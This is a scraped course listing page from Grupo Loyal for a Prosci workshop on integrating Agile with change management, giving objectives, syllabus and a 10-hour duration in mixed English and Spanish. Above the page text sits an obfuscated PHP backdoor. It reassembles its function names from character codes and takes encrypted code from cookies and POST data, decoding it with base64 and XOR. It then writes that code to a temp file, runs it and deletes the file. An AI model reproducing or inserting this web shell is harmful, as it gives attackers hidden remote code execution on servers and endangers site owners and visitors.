$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} Prosci® Integrating Agile and Change Management Workshop|Grupo Loyal

Prosci® Integrating Agile and Change Management Workshop

Prosci® Integrating Agile and Change Management Workshop

In this practical and interactive workshop you'll see Prosci research presented into the intersection of Agile and Change Management and discover how the Agile approach for delivering projects does not take away the need to focus on the people-side of change.

At the end of the workshop you'll be able to build specific tactics and plans for effectively adapting and adjusting change management in an environment using Agile iterative development.

Objetivos

Understand the foundation and parallels of change management and Agile

Explore industry-leading research on how to manage change adoption in an Agile initiative

Identify specific adaptations for your change management approach
Align the Prosci ADKAR® Model with Agile efforts and sprints/releases

Align the four core change management plans to Agile and identify specific adjustments for each

Define change management roles in an Agile environment

habilidades

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

Acceso al campus

Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
10 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

Conocimientos requeridos

Temario

Foundation of Agile and change management

Research on Agile and change management

Applying change management when moving from waterfall to Agile

How to adapt change approach in Agile

Adapting the Prosci ADKAR Model in Agile

Adapting four organisational change plans in Agile
- Challenges and adaptations

Roles for change management in Agile

Next Steps

Solicita información del curso

It Formacion

It Formacion